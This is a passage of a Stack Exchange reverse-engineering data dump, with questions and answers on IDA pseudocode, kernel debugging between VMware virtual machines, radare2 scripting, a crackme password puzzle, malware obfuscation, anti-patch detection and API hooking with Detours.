-1 -1 -1  1  1  1  1&#xA;        mov res,al      ;          = ---------&quot;&quot;-----------&#xA;        pushfd&#xA;        xor eax,eax&#xA;        mov eax,dword ptr ss:[esp]&#xA;        popfd&#xA;        lahf&#xA;        mov flag , al&#xA;    }&#xA;    bool zf = ((flag &amp;amp; 64)==64);&#xA;    bool sf = ((flag &amp;amp; 128)==128);&#xA;    bool cf = ((flag &amp;amp; 1)==1);&#xA;    printf(&quot;%2x %2x %2x %2x %2x %2x\n&quot; ,a,b,res,zf,sf,cf);&#xA;}&#xA;int main (void)&#xA;{&#xA;    printf(&quot; a  b  r  z  s  c\n&quot;);&#xA;    for (unsigned char i = 0; i &amp;lt; 8 ;i++){&#xA;        helper(i,4);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;dir /b &amp;amp; cl /nologo runasm.cpp &amp;amp; runasm.exe&#xA;runasm.cpp&#xA;runasm.cpp&#xA; a  b  r  z  s  c&#xA; 0  4 ff  0  1  1&#xA; 1  4 ff  0  1  1&#xA; 2  4 ff  0  1  1&#xA; 3  4 ff  0  1  1&#xA; 4  4  1  0  0  1&#xA; 5  4  1  0  0  1&#xA; 6  4  1  0  0  1&#xA; 7  4  1  0  0  1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-07-25T10:10:09.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13136" PostTypeId="1" AcceptedAnswerId="13137" CreationDate="2016-07-25T11:08:43.770" Score="2" ViewCount="2610" Body="&lt;p&gt;I was disassembling a function using IDA's pseudocode view and for some reason, IDA did not associated labels to some of the variables&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7vd4b.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7vd4b.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix that, I added some comments so I can work with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to manually add such variables ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4213/is-there-a-way-to-adjust-local-variables-when-a-function-doesnt-utilize-ebp&quot;&gt;&lt;strong&gt;a SE post&lt;/strong&gt;&lt;/a&gt; saying to make a script, I'm a new IDA user, I don't really want to bother with that yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not possible or &lt;em&gt;&quot;&quot;&quot;complicated&quot;&quot;&quot;&lt;/em&gt; (don't throw me rocks please ;) ) that's no big deal, the function is not that large I can work on it without problems, I'm asking this to get the hang of IDA or to get a general approach of this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time.&lt;/p&gt;&#xA;" OwnerUserId="16553" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-07-25T13:52:48.880" Title="IDA - Is it possible to &quot;add&quot; local variables in pseudocode view" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13137" PostTypeId="2" ParentId="13136" CreationDate="2016-07-25T11:45:35.953" Score="2" Body="&lt;p&gt;All highlighted identifiers looks like class members (or structure members, depends on the code) where the object is pointed by &lt;code&gt;this&lt;/code&gt; pointer, which is located not on stack of this specific function, but in other place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can handle it as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Right click on &lt;code&gt;this&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Find in the context menu something like &quot;Create structure&quot; and press it&lt;/li&gt;&#xA;&lt;li&gt;Give this structure a name&lt;/li&gt;&#xA;&lt;li&gt;Enjoy results&lt;/li&gt;&#xA;&lt;li&gt;You can rename structure fields by pressing &lt;kbd&gt;N&lt;/kbd&gt; just as in case of ordinary variables.&lt;/li&gt;&#xA;&lt;li&gt;You can edit the structure in structures window (View-&gt;Open subviews-&gt;Structures, refresh the pseudo-code view after edit)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You'll probably need to assign the same pointer type to &lt;code&gt;this_&lt;/code&gt; variable.&#xA;By the way, if you'll press &lt;kbd&gt;=&lt;/kbd&gt; on &lt;code&gt;this_&lt;/code&gt; variable you'll be able to define that &lt;code&gt;this&lt;/code&gt; and &lt;code&gt;this_&lt;/code&gt; are actually the same thing, this will simplify the resulting pseudo-code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-07-25T13:52:48.880" LastActivityDate="2016-07-25T13:52:48.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13139" PostTypeId="1" AcceptedAnswerId="13140" CreationDate="2016-07-25T12:30:16.140" Score="2" ViewCount="3236" Body="&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt; Recently I had to perform a kernel debugging on two MS windows VMWare virtual machines connected via a virtual serial port, and while running on a GNU/Linux host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The layout:&lt;/strong&gt; GNU/Linux host with Arch Linux distribution (even though the distro does not play a crucial role in this scenario), with VMWare Workstation 11 installed, hosting two MS Windows virtual machines - MS Windows 7SP1 x64 (the DEBUGGER), and MS Windows 8.0 x64 (the DEBUGGEE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; I did quite a lot of Googling to figure this out, and there was some information here and there, but I was no able to find a solution that would work for my case.&#xA;Therefore, I have compiled my findings and a working step-by-step approach in the solution written below. Hopefully this will be also useful for someone else as well.&lt;/p&gt;&#xA;" OwnerUserId="15168" LastActivityDate="2017-06-19T03:08:47.893" Title="How to connect two Windows VMWare virtual machines over a virtual serial port for kernel debugging on a Linux host" Tags="|windows|debugging|virtual-machines|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13140" PostTypeId="2" ParentId="13139" CreationDate="2016-07-25T12:35:51.577" Score="4" Body="&lt;p&gt;This is a step-by-step approach, excluding the actual host system installation, VMware setup and Virtual Machine creation, since these are rudimentary steps and anyone willing to perform kernel debugging should be capable doing.&#xA;The approach is split into three parts - the VM hardware settings, MS Windows configuration, and establishing a debugging session.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;I. VM hardware settings&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Start with the DEBUGGER VM (the one from where you will be connecting to the DEBUGGEE to perform kernel debugging). In virtual machine settings hardware tab click 'Add...' to add new 'Serial port' device. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/au2mO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/au2mO.png&quot; alt=&quot;VMWare VM serial port&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set Serial port type to 'Output to socket'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kSLkO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kSLkO.png&quot; alt=&quot;Output to socket&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Give the name to the Socket (named pipe) a one you desire in a writeable location. I chose a '/tmp' folder and give the name 'com1', so that the full path of the socket is '/tmp/com1'. Since the DEBUGGER will connect to a DEBUGGEE specify the direction of connection as 'From: Client' and 'To: A Virtual Machine'. Also, make sure the device status is selected as 'Connect at power on' unless you require otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G3Ng5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G3Ng5.png&quot; alt=&quot;Named pipe&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once you click 'Finish' the DEBUGGER VM is prepared to use the serial connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XeL7o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XeL7o.png&quot; alt=&quot;Debugger ready&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Configure the DEBUGGEE VM (the one which will be debugged). In virtual machine settings hardware tab click 'Add...' to add new 'Serial port' device.Set Serial port type to 'Output to socket'. Give the name to the Socket exactly the same one as you set it for the DEBUGGER, in this case - '/tmp/com1'. Specify the direction of connection as 'From: Server' and 'To: A Virtual Machine'. Check that device status is selected as 'Connect at power on' unless you require otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/T3gFs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/T3gFs.png&quot; alt=&quot;Debuggee named pipe&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For the I/O mode make sure that 'Yield CPU on poll' is checked. Once done, this will prepare your VM to use the serial connection, and both VMs should be able to communicate over that.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mo4TG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mo4TG.png&quot; alt=&quot;Debuggee ready&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;II. MS Windows configuration&lt;/h2&gt;&#xA;&#xA;&lt;ol start=&quot;7&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Start you DEBUGGEE machine in order to enable debugging mode on a MS Windows system. Launch the command prompt 'cmd.exe' as Administrator and execute the 'bcdedit' command to view the current boot settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zd5La.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zd5La.png&quot; alt=&quot;bcdedit&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Execute (and adjust identifiers as needed) the following commands to create an additional boot option with debugging enabled:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bcdedit /copy {current} /d &quot;Windows 8 Debugging&quot;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;bcdedit /set {ec04b3f3-16f4-11e6-b020-9ef119952d26} debug on&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;bcdedit /set {ec04b3f3-16f4-11e6-b020-9ef119952d26} debugtype serial&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;bcdedit /set {ec04b3f3-16f4-11e6-b020-9ef119952d26} debugport 1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;bcdedit /set {ec04b3f3-16f4-11e6-b020-9ef119952d26} baudrate 115200&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This should get your MS Windows DEBUGGEE be ready to boot in a debugging mode once restarted.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;III. Establishing a debugging session&lt;/h2&gt;&#xA;&#xA;&lt;ol start=&quot;9&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Start the DEBUGGER VM. Download and install the MS Windows SDK with debugging tools. The Microsoft Windows SDK for Windows 7 can be found &lt;a href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=3138&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Run the WinDbg and choose 'File/Kernel Debug (Ctrl+K)' to configure a debugging session over serial connection. In kernel Debugging settings COM tab, set baud rate to 115200 and port - com1 (or the name you specified). Once you click OK, the WinDbg will start waiting on com1 for incoming debugging sessions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8HLQw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8HLQw.png&quot; alt=&quot;WinDbg Setup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start the DEBUGGEE VM. Make sure you choose the &quot;Windows 8 Debugging&quot; boot option to start the machine in the debugging mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On your DEBUGGER VM in WinDbg you should see an incoming kernel debugging connection. Select 'Debug/Break (Ctrl+Break)' to issue an interrupt and start debugging the kernel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dp0VN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dp0VN.png&quot; alt=&quot;Kernel debugging connection&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These steps should be enough to get the Kernel Debugging session over serial connection between two MS Windows VMs on a GNU/Linux host up and running.&lt;/p&gt;&#xA;" OwnerUserId="15168" LastActivityDate="2016-07-25T12:35:51.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13144" PostTypeId="2" ParentId="13076" CreationDate="2016-07-25T21:00:15.580" Score="1" Body="&lt;p&gt;Already resolved on github repository: &lt;a href=&quot;https://github.com/radare/radare2-bindings/issues/130#issuecomment-233662221&quot; rel=&quot;nofollow&quot;&gt;https://github.com/radare/radare2-bindings/issues/130#issuecomment-233662221&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import r2pipe&#xA;import sys&#xA;&#xA;r2 = r2pipe.open(sys.argv[1])&#xA;r2.cmdj(&quot;aaa&quot;) # http://radare.today/posts/analysis-by-default/&#xA;function_list = r2.cmdj(&quot;aflj&quot;) # Analysis Function List Json&#xA;&#xA;for function in function_list:&#xA;    print r2.cmdj(&quot;p8j&quot; + str(function[&quot;size&quot;])+ &quot; @ &quot; + function[&quot;name&quot;] ) # 8bit hexpair Json&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3721" LastEditorUserId="38" LastEditDate="2016-07-26T16:45:59.780" LastActivityDate="2016-07-26T16:45:59.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13147" PostTypeId="1" AcceptedAnswerId="13148" CreationDate="2016-07-26T13:41:21.317" Score="0" ViewCount="6487" Body="&lt;p&gt;I'm trying to learn reverse engineering techniques, apologies in advance if I leave anything out&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find the password in the following section of disassembled code (there are other blocks of code in case those need to be included as well)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    ebp&#xA;mov     ebp, esp&#xA;and     esp, 0FFFFFFF0h&#xA;push    esi&#xA;push    ebx&#xA;sub     esp, 158h&#xA;mov     eax, [ebp+arg_4]&#xA;mov     [esp+1Ch], eax&#xA;mov     eax, large gs:14h&#xA;mov     [esp+14Ch], eax&#xA;xor     eax, eax&#xA;mov     dword ptr [esp+2Eh], 74726170h&#xA;mov     word ptr [esp+32h], 32h&#xA;mov     dword ptr [esp+141h], 32656854h&#xA;mov     dword ptr [esp+145h], 6150646Eh&#xA;mov     word ptr [esp+149h], 7472h&#xA;mov     byte ptr [esp+14Bh], 0&#xA;mov     dword ptr [esp+4], offset aPassword ; &quot;password:\n&quot;&#xA;mov     dword ptr [esp], offset _ZSt4cout ; std::cout&#xA;call    __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator&amp;lt;&amp;lt;&amp;lt;std::char_traits&amp;lt;char&amp;gt;&amp;gt;(std::basic_ostream&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt; &amp;amp;,char const*)&#xA;mov     dword ptr [esp+8], 100h ; int&#xA;lea     eax, [esp+41h]&#xA;mov     [esp+4], eax    ; char *&#xA;mov     dword ptr [esp], offset _ZSt3cin ; this&#xA;call    __ZNSi3getEPci  ; std::istream::get(char *,int)&#xA;lea     eax, [esp+40h]&#xA;mov     [esp], eax&#xA;call    __ZNSaIcEC1Ev   ; std::allocator&amp;lt;char&amp;gt;::allocator(void)&#xA;lea     eax, [esp+40h]&#xA;mov     [esp+8], eax&#xA;mov     dword ptr [esp+4], offset aThisisnotthepa ; &quot;thisisnotthepassword&quot;&#xA;lea     eax, [esp+38h]&#xA;mov     [esp], eax&#xA;call    __ZNSsC1EPKcRKSaIcE ; std::string::string(char const*,std::allocator&amp;lt;char&amp;gt; const&amp;amp;)&#xA;lea     eax, [esp+40h]&#xA;mov     [esp], eax&#xA;call    __ZNSaIcED1Ev   ; std::allocator&amp;lt;char&amp;gt;::~allocator()&#xA;mov     dword ptr [esp+8], 3E8h ; n&#xA;lea     eax, [esp+41h]&#xA;mov     [esp+4], eax    ; s2&#xA;mov     dword ptr [esp], offset s1 ; &quot;FBQ2GE9&quot;&#xA;call    _strncmp&#xA;test    eax, eax&#xA;jnz     short loc_8048A74&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the compare succeeds, then the password is correct&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking that it would have been &lt;code&gt;FBQ2GE9&lt;/code&gt;, but that's apparently the wrong answer. What am I missing here?&lt;/p&gt;&#xA;" OwnerUserId="16874" LastEditorUserId="16874" LastEditDate="2016-07-26T15:46:35.350" LastActivityDate="2016-07-26T17:54:02.673" Title="Finding password in disassembled code" Tags="|disassembly|binary-analysis|x86|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13148" PostTypeId="2" ParentId="13147" CreationDate="2016-07-26T16:25:30.680" Score="3" Body="&lt;p&gt;I'm not specialist, especially in C++ re, but password is constructing in the lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     dword ptr [esp+2Eh], 74726170h&#xA;...&#xA;mov     byte ptr [esp+14Bh], 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second command is &lt;code&gt;null&lt;/code&gt;-byte in null terminated strings. &#xA;Also, you should take care to &lt;a href=&quot;https://en.wikipedia.org/wiki/Endianness&quot; rel=&quot;nofollow&quot;&gt;endianness&lt;/a&gt;.&#xA;So answer is in that numbers: &lt;code&gt;70617274 32 54686532 6E645061 7274&lt;/code&gt;.&#xA;This is hex representation of password, which you can convert into ascii with python3 command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python3 -c 'import binascii; print(binascii.unhexlify(&quot;7061727432546865326E6450617274&quot;))'&#xA;b'part2The2ndPart'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the answer is &lt;code&gt;part2The2ndPart&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also take a look at the &lt;a href=&quot;http://beginners.re&quot; rel=&quot;nofollow&quot;&gt;Denis's Yrichev reverse engineering book for beginners.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;UPDATE&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./part1.exe&#xA;password:&#xA;FBQ2GE9&#xA;correct!&#xA;username: part2, password: The2ndPart&#xA;10.56.15.125&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12810" LastEditorUserId="12810" LastEditDate="2016-07-26T17:54:02.673" LastActivityDate="2016-07-26T17:54:02.673" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13150" PostTypeId="1" CreationDate="2016-07-26T17:56:52.210" Score="0" ViewCount="322" Body="&lt;p&gt;I have two reports of static and dynamic malware analysis. There are some APIs of MSVCRT's dll in my static report, which are missing in the dynamic report. (such as _p_commode, _setusermatherr, etc.)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I don't know exactly if there are equivalent APIs in the dynamic report or not? Why are they missing in the dynamic report?&lt;/li&gt;&#xA;&lt;li&gt;What is the relationship between the Windows API and the C run time library?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16875" LastEditorUserId="16875" LastEditDate="2016-07-27T09:41:05.633" LastActivityDate="2016-07-28T08:42:02.650" Title="What is the relationship between the Windows API and the C run time library?" Tags="|malware|static-analysis|dynamic-analysis|api|" AnswerCount="1" CommentCount="3" ClosedDate="2016-07-29T15:35:13.197" ContentLicense="CC BY-SA 3.0" />
  <row Id="13152" PostTypeId="1" CreationDate="2016-07-27T10:06:03.273" Score="1" ViewCount="190" Body="&lt;p&gt;I know that there are some obfuscation techniques which can lead to slowing or even failing the detection of malware when static analysis is used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, is there a similar technique that changes the order of the malware behaviour, which belongs to the same family or variants?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example with &lt;code&gt;Malware 1&lt;/code&gt; and &lt;code&gt;Malware 2&lt;/code&gt; from the same malware family &lt;code&gt;X&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Malware 1&lt;/code&gt; will connect to the internet and then access the registry &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Malware 2&lt;/code&gt; will do the same thing but with a different order&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If it does exist is their a known name for this kind of obfuscation?&#xA;Are there any papers, which refer to such a obfuscation technique?&lt;/p&gt;&#xA;" OwnerUserId="15185" LastEditorUserId="15907" LastEditDate="2016-07-31T22:06:15.537" LastActivityDate="2016-08-02T15:08:04.833" Title="Obfuscation by changing the order of a malware behaviour" Tags="|malware|obfuscation|static-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13153" PostTypeId="2" ParentId="13152" CreationDate="2016-07-27T14:50:35.187" Score="1" Body="&lt;p&gt;This would likely fall into the category of &quot;advanced metamorphic malware&quot;, though I'm not aware of any real-world malware that &lt;em&gt;automatically&lt;/em&gt; changes the order of high-level run-time functionality from variant to variant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An exception would be malware that uses multiple threads for various pieces of functionality, where the OS scheduler would &quot;randomly&quot; choose the order in which cross-thread functional operations occur... but I don't think that's what you're asking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paging @peter-ferrie, who might have something more substantial to offer here...&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-07-27T14:50:35.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13155" PostTypeId="1" CreationDate="2016-07-28T00:35:18.557" Score="1" ViewCount="161" Body="&lt;p&gt;I wonder how is that possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found debugger detection in TLS Callback function - there is conditional jump after some check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I step over it with debugger and modify ZF flag to bypass detection everything works fine. But when I try to patch this jump to the opposite (jne to je) application freezes and bombards me with OutputDebugString. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't save patch to the file, I patch it while process is in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was interested how this patch is detected, so I set Hardware Access Breakpoints on bytes that I patched, and then run it. Breakpoints weren't hit, and yet application changed it behavior just like it always do when I patch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that difference in code flow have nothing to do with this detection since when I modify ZF flag application works fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am very baffled, how does this application detects that patch, when it doesn't apparently access memory that I patched? Or is Hardware Access Breakpoint imperfect? I am interested in general ideas, how would you go about detecting whether your code was patched or not, without hitting hardware breakpoints.&lt;/p&gt;&#xA;" OwnerUserId="4563" LastActivityDate="2016-07-28T00:35:18.557" Title="Patch is detected yet hardware access breakpoint isn't hit" Tags="|hardware|breakpoint|patching|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13156" PostTypeId="2" ParentId="13150" CreationDate="2016-07-28T08:42:02.650" Score="3" Body="&lt;p&gt;To answer the main question, some C functions call WinAPI functions. Some don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are things that you have to call WinAPI function for. (e.g. exit()) There are things that you have convenient WinAPI for, but can implement as pure C, so it depends on the library.&lt;/p&gt;&#xA;" OwnerUserId="16414" LastActivityDate="2016-07-28T08:42:02.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13157" PostTypeId="1" CreationDate="2016-07-28T09:00:10.350" Score="1" ViewCount="289" Body="&lt;p&gt;Tried to hook SHGetKnownFolderPath from shell32, using the normal DetourFunctionWithTrampoline, and it could not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Investigating, it seen that the application use GetProcAddress to load the function, and use the function pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I did the same, and hooked using DetourFunction, and it succeed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked on the assembly, and it seen that when I call SHGetKnownFolderPath directly it goes through two jumps before reaching shell32. I don't think that it does that for other functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sharing code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;stdafx.h&quot;&#xA;#include &quot;windows.h&quot;&#xA;#include &quot;FileAPI.h&quot;&#xA;#include &quot;Shlobj.h&quot;&#xA;&#xA;&#xA;int main()&#xA;{&#xA;    HANDLE hFile = CreateFileA(NULL, 0, 0, NULL, 0, 0, NULL);&#xA;    SHGetKnownFolderPath(FOLDERID_LocalAppDataLow, 0, NULL, NULL);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking in IDA, I see for CreateFileA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call    ds:__imp__CreateFileA@28 ; CreateFileA(x,x,x,x,x,x,x)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which takes me to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.idata:0041B000 ; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)&#xA;.idata:0041B000                 extrn __imp__CreateFileA@28:dword ; CODE XREF: _main+2Ep&#xA;.idata:0041B000                                         ; DATA XREF: _main+2Er ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the other hand, for SHGetKnownFolderPath I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call    j__SHGetKnownFolderPath@16 ; SHGetKnownFolderPath(x,x,x,x)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which redirect to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; __stdcall SHGetKnownFolderPath(x, x, x, x)&#xA;j__SHGetKnownFolderPath@16 proc near&#xA;jmp     _SHGetKnownFolderPath@16 ; SHGetKnownFolderPath(x,x,x,x)&#xA;j__SHGetKnownFolderPath@16 endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which redirect to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; __stdcall SHGetKnownFolderPath(x, x, x, x)&#xA;_SHGetKnownFolderPath@16 proc near&#xA;jmp     ds:__imp__SHGetKnownFolderPath@16 ; SHGetKnownFolderPath(x,x,x,x)&#xA;_SHGetKnownFolderPath@16 endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which redirect to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.idata:0041B09C ; __declspec(dllimport) __stdcall SHGetKnownFolderPath(x, x, x, x)&#xA;.idata:0041B09C                 extrn __imp__SHGetKnownFolderPath@16:dword&#xA;.idata:0041B09C                                         ; DATA XREF: SHGetKnownFolderPath(x,x,x,x)r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So SHGetKnownFolderPath have &lt;strong&gt;two&lt;/strong&gt; more jumps then CreateFileA. I did nothing to the project to make it do it. so why?&lt;/p&gt;&#xA;" OwnerUserId="16414" LastEditorUserId="16414" LastEditDate="2016-11-17T13:25:13.220" LastActivityDate="2016-11-21T10:03:41.887" Title="MSDetour not detouring SHGetKnownFolderPath" Tags="|dll|winapi|function-hooking|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
